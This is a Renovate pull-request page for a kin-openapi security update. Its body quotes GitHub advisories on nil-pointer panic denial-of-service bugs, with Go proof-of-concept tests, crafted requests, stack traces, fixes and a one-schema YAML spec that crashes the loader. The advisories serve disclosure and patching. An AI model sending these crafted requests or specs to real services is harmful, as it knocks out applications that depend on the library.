				http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError)
			}
		}()
		route, pathParams, err := router.FindRoute(r)
		require.NoError(t, err)
		err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request: r, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(mux)
	t.Cleanup(srv.Close)

	const n = 5
	for i := 0; i < n; i++ {
		resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a"))
		require.NoError(t, err)
		_, _ = io.ReadAll(resp.Body)
		_ = resp.Body.Close()
		require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
	}
	require.Equal(t, n, panicCount)
}

func TestArrayItemsNilPanic_Deterministic(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	const attempts = 50
	panics := 0
	for i := 0; i < attempts; i++ {
		req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x"))
		require.NoError(t, err)
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		route, pathParams, err := router.FindRoute(req)
		require.NoError(t, err)
		if catchPanic(func() {
			_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			})
		}) != nil {
			panics++
		}
	}
	require.Equal(t, attempts, panics)
}

Observed results on the vulnerable tree:

  • 3.1 accepts the schema (Items == nil); 3.0 rejects it
  • urlencoded, multipart, and response-header paths all panic with nil pointer dereference
  • 50/50 panic rate (100% deterministic)
  • E2E httptest server: 5/5 POSTs panic inside ValidateRequest → HTTP 500
Impact
  • Type: NULL Pointer Dereference → unauthenticated remote denial of service.
  • Who is impacted: applications using github.com/getkin/kin-openapi/openapi3filter to validate requests/responses against OpenAPI 3.1 documents that contain an items-less type: array in a urlencoded or multipart body property, or an array-typed response header (or other parseArray surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — doc.Validate() does not reject them under 3.1.
  • Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.
  • Consequence: deterministic panic on every request to the operation. With stock net/http, the server logs http: panic serving and aborts the connection; without per-request recover (common outside pure net/http handlers), the process can crash.
  • Not affected: OpenAPI 3.0 documents (spec validation rejects missing items); JSON request bodies (different decoder path that does not hit this Items.Value inspection).

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


kin-openapi: Incomplete Fix for GHSA-p6wj-qrr4-pgh5: Three Unpatched nil-Items Panic Paths in openapi3filter

CVE-2026-100353 / GHSA-vrcc-3ch7-hppw

More information

Details

Summary

The fix for GHSA-p6wj-qrr4-pgh5 addressed a nil-pointer dereference that occurs when an OpenAPI 3.1 array schema omits the items keyword (which is legal under JSON Schema 2020-12). That fix patched three decoder paths: the standalone parseArray function, the top-level array check in UrlencodedBodyDecoder, and MultipartBodyDecoder.

Three additional crash paths were missed. All of them reach the unguarded urlValuesDecoder.parseArray method (openapi3filter/req_resp_decoder.go:576) or the unguarded array branch in buildResObj (line 1015):

  1. Query parameters with type: array and no items.
  2. deepObject query parameters containing an array property with no items.
  3. URL-encoded request bodies where the array lives inside an allOf / anyOf / oneOf sub-schema. This path bypasses the guard added by the GHSA-p6wj-qrr4-pgh5 fix, because that guard only inspects top-level properties.

Each path is triggerable by an unauthenticated client and produces a deterministic nil-pointer panic during request validation.

Details
Root Cause

The three paths patched for GHSA-p6wj-qrr4-pgh5 each received a nil-items guard:

// standalone parseArray (line 1143) -- GUARDED
func parseArray(raw []string, schemaRef *openapi3.SchemaRef) ([]any, error) {
	if schemaRef.Value.Items == nil || schemaRef.Value.Items.Value == nil { ... }

// UrlencodedBodyDecoder top-level property loop (line 1441) -- GUARDED
if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { ... }

// MultipartBodyDecoder (line 1587) -- GUARDED
if valueSchema.Value.Items == nil { ... }

But urlValuesDecoder.parseArray (line 576), which handles query-parameter and urlencoded-body array decoding, has no such guard:

func (d *urlValuesDecoder) parseArray(raw []string, schemaRef *openapi3.SchemaRef) ([]any, error) {
	var value []any
	for i, v := range raw {
		item, err := d.parseValue(v, schemaRef.Value.Items) // Items is nil -> panic in parseValue

parseValue immediately dereferences the schema it is handed:

func (d *urlValuesDecoder) parseValue(v string, schema *openapi3.SchemaRef) (any, error) {
	if len(schema.Value.AllOf) > 0 {   // schema == nil here -> nil pointer dereference

For the deepObject path, buildResObj (line 1015) has the same gap. Its array branch recurses with schema.Value.Items (line 1028), which can be nil, and the recursive call dereferences it at line 1015:

case schema.Value.Type.Is("array"):
	// ...
	for i := range arr {
		r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items) // nil Items

For the allOf body path, UrlencodedBodyDecoder validates only top-level schema.Value.Properties (line 1429-1449). But decodeSchemaConstructs (line 1474) recursively walks AllOf / AnyOf / OneOf sub-schemas and calls decodeProperty on their properties, which never pass through the top-level guard and reach urlValuesDecoder.parseArray.

Proof of Concept
Environment
  • kin-openapi v0.144.0 (cloned at tag v0.144.0, commit f0407d5)
  • Go 1.26.7
  • Each PoC calls doc.Validate() first to prove the spec is legal, then drives openapi3filter.ValidateRequest directly
Path 1: Query parameter array without items

Spec (query param ids is type: array, no items), request GET /test?ids=1&ids=2:

Validate() ACCEPTED the spec (type: array with no items is legal under OAS 3.1)
Calling ValidateRequest directly (no net/http recover)...
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xc0000005 code=0x0 addr=0x20 ...]
github.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseValue(...)
	req_resp_decoder.go:605
github.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseArray(...)
	req_resp_decoder.go:580
github.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).DecodeArray(...)
	req_resp_decoder.go:569
...
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
	validate_request.go:83
exit status 2
Path 2: deepObject nested array without items

Spec (deepObject param filter with array property tags, no items), request GET /test?filter[tags][0]=a:

Validate() ACCEPTED the spec
Calling ValidateRequest directly...
panic: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.buildResObj(...)
	req_resp_decoder.go:1012
github.com/getkin/kin-openapi/openapi3filter.buildResObj(...)   <- recursive call with nil Items
	req_resp_decoder.go:1028
github.com/getkin/kin-openapi/openapi3filter.makeObject(...)
	req_resp_decoder.go:947
...
exit status 2
Path 3: URL-encoded body with array inside allOf (bypasses the existing fix)

Spec (urlencoded body, allOf sub-schema with array property tags, no items), request POST /submit body tags=a&tags=b:

Validate() ACCEPTED the spec
Calling ValidateRequest directly...
panic: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseValue(...)
	req_resp_decoder.go:605
github.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseArray(...)
	req_resp_decoder.go:580
github.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).DecodeArray(...)
	req_resp_decoder.go:569
...
github.com/getkin/kin-openapi/openapi3filter.decodeProperty(...)   <- reached via decodeSchemaConstructs (allOf walker)
	req_resp_decoder.go:1519
exit status 2

The decodeProperty frame confirms the array was reached by walking the allOf sub-schema, bypassing the top-level guard that the GHSA-p6wj-qrr4-pgh5 fix added.

Fix verification

Adding a single nil-items guard to urlValuesDecoder.parseArray (plus one to the buildResObj array branch) turns all three panics into clean validation errors:

poc1: Returned normally, err = parameter "ids" in query has an error: array items schema is required for decoding
poc2: Returned normally, err = parameter "filter" in query has an error: path tags: array items schema is required
poc3: Returned normally, err = <nil>   (no panic; the allOf property is skipped by the decoder)

This confirms urlValuesDecoder.parseArray is the shared root cause for Paths 1 and 3, and buildResObj for Path 2.

Impact

An unauthenticated client can trigger a deterministic nil-pointer panic in request validation with a single crafted request, against any application that validates OAS 3.1 requests with openapi3filter where a spec declares an array without items.

The severity depends on the host:

Deployment Behavior Availability impact
Standard net/http server (validation runs in the handler goroutine) net/http recovers the panic per-connection; the connection is dropped and the process survives Per-request denial of service (A:L)
Non-net/http hosts (e.g. fasthttp/connect adapters) or validation performed in an application-spawned goroutine The panic is not recovered; the process crashes Full-process denial of service (A:H)

This was verified in both configurations: under a live net/http server the process survived (the panic was logged as http: panic serving ... and the process exited 0 at end of test), while the direct-call PoCs above crashed the process with exit status 2.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


kin-openapi spec loader panics on a self-referential additionalProperties $ref (nil-pointer DoS)

CVE-2026-100348 / GHSA-mh7x-f8wq-4jhx

More information

Details

The defect

Confirmed at HEAD (f0407d5, v0.144.0). openapi3/loader.go, inside resolveComponent's drill closure (around line 455), the case *SchemaRef branch for pathPart == "additionalProperties" dereferences c.Value.AdditionalProperties with no nil-check on c.Value:

case *SchemaRef:
    if pathPart == "additionalProperties" {
        if ap := c.Value.AdditionalProperties.Has; ap != nil {   // c.Value can be nil here
            cursor = *ap
        } else {
            cursor = c.Value.AdditionalProperties.Schema
        }
        attempted = true
    }

When a $ref fragment drills through .../additionalProperties of a schema whose Value is still nil (a pure, not-yet-resolved $ref, or a self-reference resolved before its own Value is set), c.Value is nil and the .AdditionalProperties access panics.

Input and attacker

A tiny crafted OpenAPI document, one schema, no external refs, no network:

openapi: 3.0.3
info: {title: t, version: "1.0.0"}
paths: {}
components:
  schemas:
    A:
      $ref: '#/components/schemas/A/additionalProperties'

Attacker model: any service or tool that loads an untrusted spec via the default openapi3.Loader (LoadFromData / LoadFromFile / LoadFromURI), e.g. a spec registry, an API-management platform ingesting user specs, a linter, or a converter. It crashes during LOAD (ResolveRefsIn), before Validate.

Verification level

EXECUTED with negative controls (agent-run go test at HEAD f0407d5, including yesterday's security merge; the bug is still present). The full stack pins LoadFromData:196 -> ResolveRefsIn:274 -> resolveSchemaRef:1048 -> resolveComponent:485 -> drill:439 -> :455, propagating to main(); no recover() in loader.go/schema.go (grep + trace). Two negative controls stay clean: drilling additionalProperties of a resolved schema loads fine (the existing TestIssue376 happy path), and a normal recursive schema loads fine, so the nil Value is specifically the cause. I independently re-confirmed at HEAD that loader.go:455 dereferences c.Value.AdditionalProperties with no nil-check on c.Value. NOT verified: I did not enumerate every consumer's recover posture.

Suggested fix

Add if c.Value == nil { break } (fall through to the nil-safe drillIntoField) before touching c.Value.AdditionalProperties. One line.

Also cleared (stated, not claimed)

The allOf/anyOf $ref diamond does not blow up: Schema.validate threads its stack through the return and never pops it, acting as a global pointer-keyed visited-set (executed N=10..30, microseconds). External-ref SSRF/path-traversal is blocked by default (IsExternalRefsAllowed=false); the known custom-ReadFromURIFunc bypass is the already-banked downstream oasdiff item.

Advisory-source note

Five-source enumeration: every kin-openapi advisory (CVE-2025-30153 plus the five fresh July-2026 GHSAs) is in openapi3filter (request validation); this finding is in the openapi3 loader, untouched by that systematic reporter and flagged un-analyzed by the prior oasdiff scout. Not contested on the loader surface as of today (a systematic hunter could pivot, so it decays; submit reasonably promptly).

Dedup

Dedup gate clean: no kin-openapi loader verdict in COVERED-INDEX, DISCLOSURE-INDEX or SCOUT-EXCLUDE (the one DISCLOSURE-INDEX hit is report #​313, the downstream oasdiff, a different repo/lane).

Tooling

AI assistance was used while investigating. The panic is executed-verified with negative controls (a one-schema self-referential additionalProperties $ref crashes LoadFromData while a resolved additionalProperties and a normal recursive schema load fine), and I confirmed at HEAD that loader.go:455 dereferences c.Value.AdditionalProperties with no nil-check on c.Value, on a load path with no recover.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


kin-openapi: Unauthenticated panic (DoS) in openapi3filter legacy router via non-canonical/unsupported HTTP method on a static path

CVE-2026-100347 / GHSA-fh4f-47mf-f2gj

More information

Details

Summary

The openapi3filter.ValidationHandler (the exported, documented request-validation middleware) hard-wires the

[!IMPORTANT]
✂ PR body was truncated to here.

@renovate renovate Bot added the dependency label Oct 13, 2026
@renovate

renovate Bot commented Oct 13, 2026 •

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 1 additional dependency was updated

Details:

Package Change
github.com/santhosh-tekuri/jsonschema/v6 v6.0.2 -> v6.0.3

@renovate
renovate Bot force-pushed the renovate/go-github.com-getkin-kin-openapi-vulnerability branch from 1fcdbf2 to 0ad6968 Compare October 20, 2026 10:33
@renovate renovate Bot changed the title Update module github.com/getkin/kin-openapi to v0.144.0 [SECURITY] Update module github.com/getkin/kin-openapi to v0.149.0 [SECURITY] Oct 20, 2026
@renovate
renovate Bot force-pushed the renovate/go-github.com-getkin-kin-openapi-vulnerability branch from 0ad6968 to 16bdcaa Compare October 22, 2026 10:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants